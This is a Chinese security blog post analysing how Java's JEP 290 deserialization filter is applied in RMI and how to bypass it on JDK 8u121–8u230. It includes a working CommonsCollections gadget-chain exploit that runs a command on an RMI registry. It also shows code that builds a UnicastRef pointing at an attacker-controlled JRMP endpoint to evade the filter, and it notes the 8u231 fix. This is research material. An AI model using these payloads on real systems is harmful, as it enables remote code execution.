Eswlnk Blog Eswlnk Blog
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈
  • 注册
  • 登录
首页 › 代码发布 › Java安全中JEP290在RMI的实现及绕过低版本JDK限制

Java安全中JEP290在RMI的实现及绕过低版本JDK限制

Eswlnk的头像
Eswlnk
2022-12-22 14:01:37
Java安全中JEP290在RMI的实现及绕过低版本JDK限制-Eswlnk Blog
智能摘要 AI
本文主要讨论了RMI(远程方法调用)中的实现细节及其潜在的安全问题。文章首先介绍了过滤器的创建过程,包括`RegistryImpl::registryFilter`的设置以及`UnicastServerRef`的导出与监听。接着探讨了RMI中内置过滤器的工作机制,特别是如何通过白名单机制拦截非允许的反序列化操作。 随后,文章分析了一种绕过上述安全机制的方法:通过操控`RemoteObject`类的`ref`属性,将其指向一个恶意的`UnicastRef`对象,从而触发不受限制的反序列化。具体步骤包括构造一个包含恶意IP和端口的`TCPEndpoint`对象,并将其封装进`LiveRef`中。这一过程利用了RMI的局部过滤特性,使得恶意对象得以成功反序列化并执行。 针对这一漏洞,文章还提供了修复方案,指出在8u231及以上版本中引入了额外的

RMI中的实现

过滤器的创建

我们在创建一个注册中心的时候调用的是

LocateRegistry.createRegistry(1099);

我们跟进一下createRegistry方法

返回的是一个RegistryImpl对象,跟进其构造方法

如果开启了开放端口为1099并且开启了SecurityManager策略

将会进入if语句中进行处理,我这里进入的是else语句

将会创建一个LiveRef对象,传入了RegistryImpl的ObjID(0)和端口号

之后创建了一个UnicastServerRef对象,传入了前面的LiveRef对象和RegistryImpl::registryFilter

所以我们知道其分别是将参数一和参数二传入了ref属性和filter属性中

我们看看RegistryImpl::registryFilter的写法

在上面JEP Basic中也提到了,因为

存在有@FunctionalInterface接口,所以能够通过Lambda的形式写入,这里就是这种写法

将这个RMI中内置的过滤器传入了filter属性中去

之后调用了RegistryImpl#setup进行设置

将创建的UnicastServerRef对象传入RegistryImpl类对象的ref属性中,之后通过调用UnicastServerRef#exportObject进行对象导出

在这里主要是将其封装成了一个Target对象

之后调用了LiveRef#exportObject进行导出

在后面存在有端口的监听

也有着将Target对象放入了ObjectTable中

在后面也导出了内置的bind / rebind / list / lookup等方法

最后在处理方法的调用的时候,将会调用Transport#serviceCall方法

首先从输入流中读取ObjID值,根据对应的ID获取Target对象,之后调用getDispatcher获取其中的disp属性

也就是前面提到的,传入的UnicastServerRef对象

之后调用到了UnicastServerRef#dispatch进行分发

在这里因为skel属性不为空,所以将会调用oldDispatch方法

在其方法中存在有unmarshalCustomCallData方法的调用

跟进一下

将会调用Config.setObjectInputFilter方法,进而调用ObjectInputStream#setInternalObjectInputFilter方法将前面Registry创建过程中设置的RegistryImpl::registryFilter这个filter传入

这里也体现了RMI的实现是一个局部过滤的操作

拦截的细节

上面已经传入了过滤器,之后就是为什么会被拦截

可以跟着跟进到RegistryImpl_Skel#dispatch方法,进行分发

根据不同的方法的调用,进入不同的case语句中,我这里是rebind的调用,来到了case 3语句

按理说,漏洞的触发点在readObject方法的调用部分,我们跟进一下

这里就是很常见的反序列化过程

registryFilter:408, RegistryImpl (sun.rmi.registry)
checkInput:-1, 564742142 (sun.rmi.registry.RegistryImpl$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readProxyDesc:1813, ObjectInputStream (java.io)
readClassDesc:1748, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:135, RegistryImpl_Skel (sun.rmi.registry)

在ObjectInputStream#readProxyDesc方法调用中

将会调用filterCheck方法,跟进

这里因为前面存在serialFilter的赋值, 也就是前面的registryFilter,所以将会调用他的checkInput方法

在这里在调用serialClass方法获取实例类之后,将会进行白名单判断,是否是

  1. String
  2. Number
  3. Remote
  4. Proxy
  5. UnicastRef
  6. …

一个拦截的示例

首先是一个注册端

public class Registry {
    //注册使用的端口
    public static void main(String[] args) throws RemoteException {
        LocateRegistry.createRegistry(1099);
        System.out.println("server start!!");
        while (true);
    }
}

之后是一个服务段,rebind了一个恶意的对象

public class RMIClientAttackDemo2 {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, AlreadyBoundException, NoSuchFieldException, NoSuchMethodException {

        //仿照ysoserial中的写法,防止在本地调试的时候触发命令
        Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(faketransformers);
        Map innerMap = new HashMap();
        Map outMap = LazyMap.decorate(innerMap, transformerChain);

        //实例化
        TiedMapEntry tme = new TiedMapEntry(outMap, "key");
        Map expMap = new HashMap();
        //将其作为key键传入
        expMap.put(tme, "value");

        //remove
        outMap.remove("key");

        //传入利用链
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        //使用动态代理初始化 AnnotationInvocationHandler
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        //创建handler
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, expMap);
        //使用AnnotationInvocationHandler动态代理Remote
        Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, invocationHandler);

        //链接Registry
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);

        //触发反序列化
        registry.rebind("test", remote);
    }
}

没有通过前面的白名单过滤,首先是一个Remote对象,能够通过,之后就是一个Proxy对象,也能通过,在之后是一个AnnotationInvocationHandler类,不能够通过白名单过滤,返回了状态码REJECTED

Bypass

8u121-8u230

利用点

对于JEP RMI的绕过,主要是通过写入一个恶意ip+port,使得另一端能够访问这个恶意JRMP服务,造成的命令执行

我们来分析下为什么能够执行!

首先,我们在Registry registry = LocateRegistry.getRegistry(1099);处打下断点

在getRegistry方法的调用过程中,前面只是获取了本地ip地址,关键在后面,这里通过Registry_id也就是0,和一个封装了ip和portTCPEndpoint对象,创建了一个LiveRef对象

再然后将其传入了UnicastRef对象的ref属性中

最后通过调用Util.createProxy方法创建了一个RegistryImpl_Stub对象,封装了UnicastRef / LiveRef / TCPEndpoint对象

查看一下返回的Stub结构

接下来,将会调用得到的Registry_Stub对象的bind方法,进行对象的绑定

即是RegistryImpl_Stub#bind方法中

这里的ref属性就是在创建过程中提到的UnicastRef对象,调用其newCall方法,根据对应的ID创建了一个StreamRemoteCall对象并返回

之后调用writeObject方法将我们bind的恶意对象传输到Registry端

调用了前面得到的StreamRemoteCall远程调用方法,即是this.ref.invoke()方法

在这个方法调用了远程调用的executeCall进行调用

来到了服务端Transport#serviceCall方法的调用,获取之前writeObject传入的StreamRemoteCall对象的输入流,中输入流中得到ID,并取出对应的Target对象

之后调用dispatch进行分发

来到了UnicastServerRef#dispatch方法

调用了oldDispatch方法

下面的,不详细分析了,前面也讲过这个流程

贴个调用链就行了

registryFilter:416, RegistryImpl (sun.rmi.registry)
checkInput:-1, 564742142 (sun.rmi.registry.RegistryImpl$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

之后就是进行过滤器的白名单验证

这里也是这个Bypass点的关键点,这里利用的是白名单中的Remote接口,在其实现类中有一个RemoteObject这个抽象类,能够通过白名单

我们知道反序列化具有传递性,是一层一层的进行反序列化的,在序列化RemoteObject的时候,将会调用其readObject方法

这里从输入流中调用readObject得到UnicastRef对象

接着调用了readExternal方法

跟进

在这个方法中调用了LiveRef#read方法从输入流中获取了我们在前面封装的LiveRef对象,跟进一下

在该方法中首先从输入流中获取了TCPEndpoint对象,并在后面封装成了一个LiveRef对象

在后面通过调用saveRef方法,

从incomingRefTable属性中获取var2这个Endpoint对象,如果没有这个Endpoint,将会将这个Endpoint put进入map对象中

看看这个属性

这是一个Endpoint和LiveRef对象列表的映射

在最后将LiverRef对象写入前面new的一个ArrayList中去

在添加进入了Endpoint对象之后,结束了readObject方法的调用

回到了RegistryImpl_Skel#dispatch方法中,执行StreamRemoteCall#releaseInputStream方法

跟进一下

这里的this.in属性就是ConnectionInputStream,不为空,调用了他的registryRefs方法来进行Ref的注册

这里的incomingRefTable是不为空的,因为我们在前面的saveRef方法添加了映射

这里将会迭代的取出属性中的每一对映射,调用DGCClient.registerRefs方法进行注册调用

这里通过DGCClient.EndpointEntry.lookup方法进行对应Endpoint的发起连接

如果我们能够控制这里的Endpoint对象的ip and port,就能够对任意的服务发起连接,如果搭建一个恶意的JRMP服务,就能够成功利用

如何控制Endpoint对象后面讲,下面讲的是利用原理

利用原理

在进行远程连接之后得到的是一个DGCClient$EndpointEntry对象

一直可以来到DGCImpl_Stub#dirty方法中

首先获取了一个远程调用对象

之后类似之前的RegistryImpl_Stub中的,调用invoke方法

在UnicastRef#invoke方法中调用executeCall进行远程调用

这里存在有个ConnectionInputStream#readObject的调用

因为RMI是一种局部过滤器,在这里的反序列化调用中是不存在有过滤器限制的,所以能够

所以,我们如果在恶意的服务端在ConnectionInputStream对象中writeObject了一个恶意对象就能够成功反序列化

利用构造

  1. 找到一个RemoteObject类或其没有重写readObject方法的类,能够控制其内部的RemoteRef类型属性ref为包含恶意端口的UnicastRef对象 。因为RemoteObject类是一个抽象类,所以我们需要找到他的实现类

我们可以找到RemoteObjectInvocationHandler这个类

在其构造方法中,存在有ref属性的赋值

根据前面的分析,我们知道一个UnicastRef对象封装了一个LiveRef对象,我们关注一下LiveRef的构造方法

参数一是一个ObjID,RMI间是通过这个来判断调用哪个远程对象的,参数二是一个Endpoint对象,我们传入一个带有恶意服务端的ip和port的TCPEndpoint对象,参数三是一个Boolean类型的形参,判断该Endpoint是否是远程对象

构造

ObjID id = new ObjID(new Random().nextInt());
   TCPEndpoint te = new TCPEndpoint("localhost", 9999);
   UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

之后直接将这个恶意的ref传入RemoteObjectInvocationHandler构造方法中就行了

  1. 对于恶意JRMP服务我们可以直接使用ysoserial项目

修复

在 8u231 版本及以上的 DGCImpl_Stub#dirty 方法中多了一个 setObjectInputFilter 的过程,所以将会被过滤

本站默认网盘访问密码:1166
本站默认网盘访问密码:1166
jdkremotermi
0
0
Eswlnk的头像
Eswlnk
一个有点倒霉的研究牲站长
赞赏
单体优先的微服务架构
上一篇
「进程注入」通过远程线程注入代码
下一篇

评论 (0)

请登录以参与评论
现在登录
    发表评论

猜你喜欢

  • 「日志记录」逆向必应翻译网页版API实现免费调用
  • 「代码分享」第三方平台VIP视频解析API接口
  • 「至臻原创」某系统网站登录功能监测
  • 「开发日志」在Vue3中如何为路由Query参数标注类型
  • 「其他分享」分享一个在Tun模式下可用的脚本
Eswlnk的头像

Eswlnk

一个有点倒霉的研究牲站长
1108
文章
319
评论
679
获赞

随便看看

单体优先的微服务架构
2022-12-20 18:40:14
「代码分享」通过PHP微信扫描关注公众号
2023-09-03 11:36:19
工程实践:模块化程序设计(2)
2021-06-06 17:31:59

文章目录

专题展示

WordPress53

工程实践37

热门标签

360 AI API CDN java linux Nginx PDF PHP python SEO Windows WordPress 云服务器 云服务器知识 代码 免费 安全 安卓 工具 开发日志 微信 微软 手机 插件 攻防 攻防对抗 教程 日志 渗透分析 源码 漏洞 电脑 破解 系统 编程 网站优化 网络 网络安全 脚本 苹果 谷歌 软件 运维 逆向
  • 首页
  • 知识库
  • 地图
Copyright © 2023-2025 Eswlnk Blog. Designed by XiaoWu.
本站CDN由 壹盾安全 提供高防CDN安全防护服务
蜀ICP备20002650号-10
页面生成用时 0.609 秒   |  SQL查询 36 次
本站勉强运行:
友情链接: Eswlnk Blog 网站渗透 倦意博客 特资啦!个人资源分享站 祭夜博客 iBAAO壹宝头条
  • WordPress142
  • 网络安全64
  • 漏洞52
  • 软件52
  • 安全48
现在登录
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈